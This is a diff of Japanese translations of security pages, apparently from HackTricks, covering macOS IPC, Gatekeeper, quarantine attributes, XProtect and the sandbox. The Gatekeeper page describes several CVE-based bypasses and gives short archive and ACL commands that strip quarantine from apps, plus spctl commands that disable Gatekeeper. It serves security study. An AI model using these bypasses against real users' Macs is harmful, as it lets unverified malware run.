+**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()`と`close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
@@ -371,9 +422,9 @@ return 0; ## macOS ガード付きディスクリプタ -**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSで導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。 +**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。 -この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスしているときに**別の脆弱なスレッドがそれにアクセスできる**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです: +この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスして**別の脆弱なスレッドにそれへのアクセスを許可する**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです: - `guarded_open_np`: ガード付きでFDをオープン - `guarded_close_np`: 閉じる diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index f56dfb01e..9579639f5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -2,35 +2,31 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Gatekeeper -**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを**システムで実行することを保証するために設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証する**ことによって機能します。 +**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを**システムで実行することを保証するために設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証することによって機能します**。 Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードされたソフトウェアが**認識された開発者によって署名されているか**を確認し、ソフトウェアの真正性を保証します。さらに、ソフトウェアが**Appleによって公証されているか**を確認し、既知の悪意のあるコンテンツが含まれておらず、公証後に改ざんされていないことを確認します。 -加えて、Gatekeeperは**ユーザーにダウンロードしたソフトウェアを初めて開くことを承認するよう促す**ことで、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。 +加えて、Gatekeeperは**ダウンロードされたソフトウェアを初めて開く際にユーザーに承認を促すことによって**、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。 -### アプリケーション署名 +### Application Signatures -アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者(開発者)の身元を確認する**ために使用され、コードが最後に署名されて以来改ざんされていないことを保証します。 +アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者(開発者)の身元を確認するため**に使用され、コードが最後に署名されて以来改ざんされていないことを保証します。 -以下のように機能します: +以下はその仕組みです: -1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、Apple Developer Programに登録した際にAppleが開発者に発行する**証明書**に関連付けられています。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。 -2. **アプリケーションの配布:** 署名されたアプリケーションは、開発者の証明書とともにユーザーに配布されます。この証明書には、対応する公開鍵が含まれています。 +1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、開発者がApple Developer Programに登録した際にAppleが発行する**証明書に関連付けられています**。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。 +2. **アプリケーションの配布:** 署名されたアプリケーションは、対応する公開鍵を含む開発者の証明書と共にユーザーに配布されます。 3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者によって署名されて以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。 -アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが知られた開発者に発行した証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。 +アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが既知の開発者に発行した証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。 macOS Catalina以降、**GatekeeperはアプリケーションがAppleによって公証されているかどうかも確認します**。これにより、セキュリティの追加層が加わります。公証プロセスは、アプリケーションに既知のセキュリティ問題や悪意のあるコードがないかをチェックし、これらのチェックに合格すると、AppleはGatekeeperが検証できるチケットをアプリケーションに追加します。 -#### 署名の確認 +#### Check Signatures -いくつかの**マルウェアサンプル**を確認する際は、常に**バイナリの署名を確認する**べきです。署名した**開発者**がすでに**マルウェアに関連している可能性**があります。 +いくつかの**マルウェアサンプル**をチェックする際は、常に**バイナリの署名を確認する**べきです。署名した**開発者**がすでに**マルウェアに関連している可能性**があります。 ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -53,26 +49,26 @@ Appleのノータリゼーションプロセスは、ユーザーを潜在的に ソフトウェアがこの検査を問題なく通過すると、ノータリーサービスはノータリゼーションチケットを生成します。開発者はその後、**このチケットを自分のソフトウェアに添付する**必要があり、このプロセスは「ステープリング」と呼ばれます。さらに、ノータリゼーションチケットはオンラインでも公開され、Appleのセキュリティ技術であるGatekeeperがアクセスできるようになります。 -ユーザーがソフトウェアを初めてインストールまたは実行する際、ノータリゼーションチケットの存在 - 実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず - **Gatekeeperに対してそのソフトウェアがAppleによってノータリゼーションされたことを通知します**。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、そのソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼が高まります。 +ユーザーがソフトウェアを初めてインストールまたは実行する際、ノータリゼーションチケットの存在 - 実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず - **Gatekeeperに対してそのソフトウェアがAppleによってノータリゼーションされたことを通知します**。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、そのソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスは、ユーザーが自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼を高めます。 ### spctl & syspolicyd > [!CAUTION] -> Sequoiaバージョン以降、**`spctl`**はGatekeeperの設定を変更することを許可しなくなりました。 +> Sequoiaバージョン以降、**`spctl`**はGatekeeperの設定を変更することを許可しなくなったことに注意してください。 -**`spctl`**は、Gatekeeperと対話し、列挙するためのCLIツールです(`syspolicyd`デーモンとXPCメッセージを介して)。例えば、次のコマンドでGatekeeperの**ステータス**を確認することができます: +**`spctl`**は、Gatekeeperと対話し、列挙するためのCLIツールです(`syspolicyd`デーモンとXPCメッセージを介して)。例えば、次のコマンドでGateKeeperの**ステータス**を確認することができます: ```bash # Check the status spctl --status ``` > [!CAUTION] -> GateKeeperの署名チェックは、**Quarantine属性を持つファイル**に対してのみ実行され、すべてのファイルに対して行われるわけではありません。 +> GateKeeperの署名チェックは、**隔離属性**を持つファイルにのみ実行され、すべてのファイルには実行されません。 GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかを確認します:
-**`syspolicyd`**は、Gatekeeperを強制するための主要なデーモンです。これは`/var/db/SystemPolicy`にあるデータベースを維持しており、[データベースをサポートするコードはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp)と[SQLテンプレートはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql)で見つけることができます。データベースはSIPによって制限されておらず、rootによって書き込み可能で、データベース`/var/db/.SystemPolicy-default`は、他のデータベースが破損した場合の元のバックアップとして使用されます。 +**`syspolicyd`**は、Gatekeeperを強制する主なデーモンです。これは`/var/db/SystemPolicy`にあるデータベースを維持しており、[データベースをサポートするコードはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp)と[SQLテンプレートはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql)で見つけることができます。データベースはSIPによって制限されておらず、rootによって書き込み可能で、データベース`/var/db/.SystemPolicy-default`は、他のデータベースが破損した場合の元のバックアップとして使用されます。 さらに、バンドル**`/var/db/gke.bundle`**と**`/var/db/gkopaque.bundle`**には、データベースに挿入されるルールを持つファイルが含まれています。このデータベースはrootとして次のように確認できます: ```bash @@ -90,7 +86,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an ``` **`syspolicyd`** は、`assess`、`update`、`record`、`cancel` などの異なる操作を持つ XPC サーバーも公開しており、これらは **`Security.framework`** の `SecAssessment*` API を使用してアクセス可能です。また、**`xpctl`** は実際に **`syspolicyd`** と XPC 経由で通信します。 -最初のルールが "**App Store**" で終わり、2 番目のルールが "**Developer ID**" で終わることに注意してください。また、前の画像では **App Store と認識された開発者からアプリを実行することが有効になっていました**。\ +最初のルールが "**App Store**" で終わり、2 番目のルールが "**Developer ID**" で終わっていることに注意してください。また、前の画像では **App Store と認識された開発者からアプリを実行することが有効になっていました**。\ その設定を App Store に **変更**すると、"**Notarized Developer ID" ルールは消えます**。 **type GKE** のルールも数千あります: @@ -130,7 +126,7 @@ spctl --master-enable ```bash spctl --assess -v /Applications/App.app ``` -特定のアプリの実行を許可するために、GateKeeperに新しいルールを追加することが可能です: +GateKeeperに新しいルールを追加して、特定のアプリの実行を許可することが可能です: ```bash # Check if allowed - nop spctl --assess -v /Applications/App.app @@ -149,24 +145,24 @@ spctl --assess -v /Applications/App.app ### 検疫ファイル -アプリケーションやファイルを**ダウンロード**すると、特定のmacOS **アプリケーション**(ウェブブラウザやメールクライアントなど)が、ダウンロードされたファイルに一般的に「**検疫フラグ**」として知られる**拡張ファイル属性**を**付加**します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。ただし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。 +アプリケーションやファイルを**ダウンロード**すると、ウェブブラウザやメールクライアントなどの特定のmacOS **アプリケーション**は、ダウンロードされたファイルに一般的に「**検疫フラグ**」として知られる**拡張ファイル属性**を**付加**します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。ただし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。 **検疫フラグの存在は、ユーザーがファイルを実行しようとしたときにmacOSのGatekeeperセキュリティ機能に信号を送ります**。 -**検疫フラグが存在しない場合**(一部のBitTorrentクライアントを介してダウンロードされたファイルなど)、Gatekeeperの**チェックは実行されない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードされたファイルを開く際には注意を払うべきです。 +**検疫フラグが存在しない場合**(一部のBitTorrentクライアントを介してダウンロードされたファイルのように)、Gatekeeperの**チェックは行われない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードされたファイルを開く際には注意を払うべきです。 -> [!NOTE] > **コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたリソースの暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名と公証のチェックを実行することは**非現実的です**。 +> [!NOTE] > **コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたリソースの暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名と公証のチェックを実行することは**実用的ではありません**。 > > したがって、これらのチェックは**検疫属性を持つアプリを実行する際にのみ実行されます**。 > [!WARNING] > この属性は、ファイルを作成/ダウンロードする**アプリケーションによって設定される必要があります**。 > -> ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。サンドボックス化されていないアプリは、自分で設定するか、**Info.plist**内の[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、作成されたファイルに`com.apple.quarantine`の拡張属性を設定させることができます。 +> ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。そして、サンドボックス化されていないアプリは自分で設定するか、**Info.plist**内の[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、システムが作成されたファイルに`com.apple.quarantine`の拡張属性を設定するようにします。 さらに、**`qtn_proc_apply_to_self`**を呼び出すプロセスによって作成されたすべてのファイルは検疫されます。また、API **`qtn_file_apply_to_path`**は、指定されたファイルパスに検疫属性を追加します。 -そのステータスを**確認し、有効/無効にする**ことが(rootが必要)可能です: +そのステータスを**確認し、有効/無効にする**ことが(rootが必要)できます: ```bash spctl --status assessments enabled @@ -181,7 +177,7 @@ xattr file.png com.apple.macl com.apple.quarantine ``` -**拡張属性**の**値**を確認し、次のコマンドを使用して**隔離属性**を書き込んだアプリを特定します: +**拡張属性**の**値**を確認し、次のコマンドを使用して隔離属性を書き込んだアプリを特定します: ```bash xattr -l portada.png com.apple.macl: @@ -197,7 +193,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5 # Brave -- App # F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded ``` -実際、プロセスは「作成したファイルに検疫フラグを設定することができる」(作成したファイルにUSER_APPROVEDフラグを適用しようとしましたが、適用されませんでした): +実際、プロセスは「作成したファイルに検疫フラグを設定することができる」(私はすでに作成したファイルにUSER_APPROVEDフラグを適用しようとしましたが、適用されませんでした):
@@ -279,11 +275,11 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri このライブラリは、拡張属性フィールドを操作するためのいくつかの関数をエクスポートします。 -`qtn_file_*` APIはファイル隔離ポリシーを扱い、`qtn_proc_*` APIはプロセス(プロセスによって作成されたファイル)に適用されます。エクスポートされていない`__qtn_syscall_quarantine*`関数は、ポリシーを適用するもので、最初の引数に「Quarantine」を指定して`mac_syscall`を呼び出し、リクエストを`Quarantine.kext`に送信します。 +`qtn_file_*` APIはファイルの隔離ポリシーを扱い、`qtn_proc_*` APIはプロセス(プロセスによって作成されたファイル)に適用されます。エクスポートされていない`__qtn_syscall_quarantine*`関数は、ポリシーを適用するもので、最初の引数として「Quarantine」を指定して`mac_syscall`を呼び出し、リクエストを`Quarantine.kext`に送信します。 #### **Quarantine.kext** -カーネル拡張は、**システムのカーネルキャッシュを通じてのみ利用可能**ですが、**Kernel Debug Kitを** [**https://developer.apple.com/**](https://developer.apple.com/) からダウンロードすることができ、拡張のシンボリケートされたバージョンが含まれています。 +カーネル拡張は、**システムのカーネルキャッシュ**を通じてのみ利用可能ですが、**Kernel Debug Kitを** [**https://developer.apple.com/**](https://developer.apple.com/) からダウンロードすることができ、拡張のシンボリケートされたバージョンが含まれています。 このKextは、MACFを介していくつかの呼び出しをフックし、すべてのファイルライフサイクルイベントをトラップします:作成、オープン、名前変更、ハードリンク... さらには`setxattr`を使用して`com.apple.quarantine`拡張属性の設定を防ぎます。 @@ -296,7 +292,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri XProtectはmacOSに組み込まれた**アンチマルウェア**機能です。XProtectは、アプリケーションが最初に起動または変更されたときに、既知のマルウェアおよび安全でないファイルタイプのデータベースに対して**チェックを行います**。Safari、Mail、Messagesなどの特定のアプリを通じてファイルをダウンロードすると、XProtectは自動的にファイルをスキャンします。ファイルがデータベース内の既知のマルウェアと一致する場合、XProtectは**ファイルの実行を防ぎ**、脅威を警告します。 -XProtectデータベースは、Appleによって**定期的に更新**され、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。 +XProtectデータベースは、Appleによって**定期的に更新され**、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。 ただし、**XProtectはフル機能のアンチウイルスソリューションではない**ことに注意する価値があります。特定の既知の脅威のリストのみをチェックし、ほとんどのアンチウイルスソフトウェアのようにオンアクセススキャンを実行しません。 @@ -316,7 +312,7 @@ XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のS ### Not Gatekeeper > [!CAUTION] -> Gatekeeperは、アプリケーションを実行するたびに**実行されるわけではありません**。実行するアプリがすでにGatekeeperによって実行され、検証されている場合にのみ、_**AppleMobileFileIntegrity**_ (AMFI)が**実行可能コードの署名を検証**します。 +> Gatekeeperは、アプリケーションを実行するたびに**実行されるわけではありません**。_**AppleMobileFileIntegrity**_ (AMFI)は、Gatekeeperによってすでに実行され、検証されたアプリを実行する際にのみ**実行可能コードの署名を検証**します。 したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後**アプリケーションの実行可能でないファイルを変更する**(ElectronのasarやNIBファイルなど)ことが可能でした。他の保護がなければ、アプリケーションは**悪意のある**追加とともに**実行されました**。 @@ -328,13 +324,13 @@ Gatekeeperをバイパスする方法(ユーザーに何かをダウンロー ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) -**Archive Utility**を使用して抽出すると、**886文字を超えるパス**を持つファイルがcom.apple.quarantine拡張属性を受け取らないことが観察されました。この状況は、これらのファイルが**Gatekeeperの**セキュリティチェックを**回避する**ことを意図せずに許可します。 +**Archive Utility**を使用して抽出すると、**886文字を超えるパス**を持つファイルがcom.apple.quarantine拡張属性を受け取らないことが観察されました。この状況は、意図せずにこれらのファイルが**Gatekeeperの**セキュリティチェックを**回避する**ことを可能にします。 詳細については、[**元の報告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)を確認してください。 ### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper) -アプリケーションが**Automator**で作成されると、実行に必要な情報は`application.app/Contents/document.wflow`内にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる一般的なAutomatorバイナリに過ぎません。 +アプリケーションが**Automator**で作成されると、実行に必要な情報は`application.app/Contents/document.wflow`内にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる一般的なAutomatorバイナリです。 したがって、`application.app/Contents/MacOS/Automator\ Application\ Stub`を**シンボリックリンクでシステム内の別のAutomator Application Stubにポイントさせる**ことができ、`document.wflow`(あなたのスクリプト)内の内容を**Gatekeeperをトリガーせずに実行**します。 @@ -344,19 +340,19 @@ Gatekeeperをバイパスする方法(ユーザーに何かをダウンロー ### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) -このバイパスでは、アプリケーションが`application.app/Contents`から圧縮を開始するzipファイルが作成されました。したがって、**quarantine attr**は**`application.app/Contents`のすべてのファイルに適用されましたが、**`application.app`には適用されませんでした。これがGatekeeperがチェックしていたもので、`application.app`がトリガーされたときに**quarantine属性を持っていなかったため、Gatekeeperはバイパスされました。** +このバイパスでは、`application.app/Contents`から圧縮を開始するアプリケーションを含むzipファイルが作成されました。したがって、**quarantine attr**は**`application.app/Contents`のすべてのファイルに適用されましたが、**`application.app`には適用されませんでした。これがGatekeeperがチェックしていたもので、`application.app`がトリガーされたときに**quarantine属性を持っていなかったため、Gatekeeperはバイパスされました。** ```bash zip -r test.app/Contents test.zip ``` -チェックしてみてください [**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) さらなる情報のために。 +チェックしてみてください [**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) で詳細情報を。 ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) -コンポーネントが異なっていても、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成することで、**`application.app`** は **Archive Utility** によって解凍されたときに隔離属性を取得しません。 +コンポーネントは異なりますが、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成するので、**`application.app`** は **Archive Utility** によって解凍されるときに隔離属性を取得しません。 ```bash aa archive -d test.app/Contents -o test.app.aar ``` -チェックしてみてください [**オリジナルレポート**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) についての詳細情報。 +[**オリジナルレポート**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)をチェックして、詳細情報を確認してください。 ### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) @@ -369,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr' ``` さらに、**AppleDouble**ファイル形式は、ファイルをそのACEを含めてコピーします。 -[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、xattr内に保存されたACLのテキスト表現が**`com.apple.acl.text`**という名前で、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式でzipファイルに圧縮した場合... 検疫xattrはアプリケーションに設定されませんでした: +[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、**`com.apple.acl.text`**というxattrに保存されたACLのテキスト表現が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... 検疫xattrはアプリケーションに設定されませんでした: ```bash chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test ditto -c -k test test.zip @@ -429,10 +425,7 @@ aa archive -d s/ -o app.aar ### Prevent Quarantine xattr -".app"バンドルにクアランティンxattrが追加されていない場合、実行時に**Gatekeeperはトリガーされません**。 +".app"バンドル内にquarantine xattrが追加されていない場合、実行時に**Gatekeeperはトリガーされません**。 -
- -{% embed url="https://websec.nl/" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index 0891e4592..ddff05b6e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -4,13 +4,13 @@ ## 基本情報 -MacOS Sandbox(最初はSeatbeltと呼ばれていました)は、**サンドボックス内で実行されるアプリケーション**を、アプリが実行されている**サンドボックスプロファイルで指定された許可されたアクション**に制限します。これにより、**アプリケーションが予期されるリソースのみをアクセスすることが保証されます**。 +MacOS Sandbox(最初はSeatbeltと呼ばれていました)は、**サンドボックス内で実行されるアプリケーション**を、アプリが実行されている**サンドボックスプロファイルで指定された許可されたアクション**に**制限**します。これにより、**アプリケーションが予期されるリソースのみをアクセスすることが保証されます**。 -**`com.apple.security.app-sandbox`**という**権限**を持つアプリは、サンドボックス内で実行されます。**Appleのバイナリ**は通常サンドボックス内で実行され、**App Storeからのすべてのアプリケーションはその権限を持っています**。したがって、いくつかのアプリケーションはサンドボックス内で実行されます。 +**`com.apple.security.app-sandbox`**という**権限**を持つアプリは、サンドボックス内で実行されます。**Appleのバイナリ**は通常サンドボックス内で実行され、**App Store**のすべてのアプリケーションはその権限を持っています。したがって、いくつかのアプリケーションはサンドボックス内で実行されます。 -プロセスが何をできるか、またはできないかを制御するために、**サンドボックスはほぼすべての操作にフックを持っています**(ほとんどのシステムコールを含む)**MACF**を使用しています。ただし、アプリの**権限**に応じて、サンドボックスはプロセスに対してより許可的になる場合があります。 +プロセスが何をできるか、またはできないかを制御するために、**サンドボックスはほぼすべての操作にフック**を持っています(ほとんどのシステムコールを含む)**MACF**を使用しています。ただし、アプリの**権限**に応じて、サンドボックスはプロセスに対してより許可的になる場合があります。 -サンドボックスのいくつかの重要なコンポーネントは次のとおりです: +サンドボックスの重要なコンポーネントは次のとおりです: - **カーネル拡張** `/System/Library/Extensions/Sandbox.kext` - **プライベートフレームワーク** `/System/Library/PrivateFrameworks/AppSandbox.framework` @@ -54,7 +54,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` > [!CAUTION] -> サンドボックスから「脱出」して他のフォルダにアクセスするためにシンボリックリンクがあっても、アプリはそれらにアクセスするための**権限を持っている必要があります**。これらの権限は`RedirectablePaths`の**`.plist`**の中にあります。 +> サンドボックスから「脱出」して他のフォルダーにアクセスするためにシンボリックリンクがあっても、アプリはそれらにアクセスするための**権限を持っている必要があります**。これらの権限は、`RedirectablePaths`の**`.plist`**内にあります。 **`SandboxProfileData`**は、B64にエスケープされたコンパイル済みサンドボックスプロファイルCFDataです。 ```bash @@ -131,11 +131,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... ) ``` > [!TIP] -> この[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)**を確認して、許可または拒否される可能性のあるアクションをさらに確認してください。** +> この[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)を確認して、許可または拒否される可能性のあるアクションをさらに確認してください。 > > プロファイルのコンパイル版では、操作の名前がdylibおよびkextによって知られている配列のエントリに置き換えられ、コンパイル版が短く、読みづらくなります。 -重要な**システムサービス**も、`mdnsresponder`サービスのように独自のカスタム**サンドボックス**内で実行されます。これらのカスタム**サンドボックスプロファイル**は以下で確認できます: +重要な**システムサービス**は、`mdnsresponder`サービスのように独自のカスタム**サンドボックス**内で実行されます。これらのカスタム**サンドボックスプロファイル**は以下で確認できます: - **`/usr/share/sandbox`** - **`/System/Library/Sandbox/Profiles`** @@ -143,7 +143,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... **App Store**アプリは**プロファイル****`/System/Library/Sandbox/Profiles/application.sb`**を使用します。このプロファイルで、**`com.apple.security.network.server`**のような権限がプロセスにネットワークを使用することを許可する方法を確認できます。 -SIPは/System/Library/Sandbox/rootless.confにあるplatform_profileというサンドボックスプロファイルです。 +次に、一部の**Appleデーモンサービス**は、`/System/Library/Sandbox/Profiles/*.sb`または`/usr/share/sandbox/*.sb`にある異なるプロファイルを使用します。これらのサンドボックスは、API `sandbox_init_XXX`を呼び出すメイン関数で適用されます。 + +**SIP**は、`/System/Library/Sandbox/rootless.conf`にあるplatform_profileというサンドボックスプロファイルです。 ### サンドボックスプロファイルの例 @@ -198,7 +200,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {{#endtabs}} > [!NOTE] -> 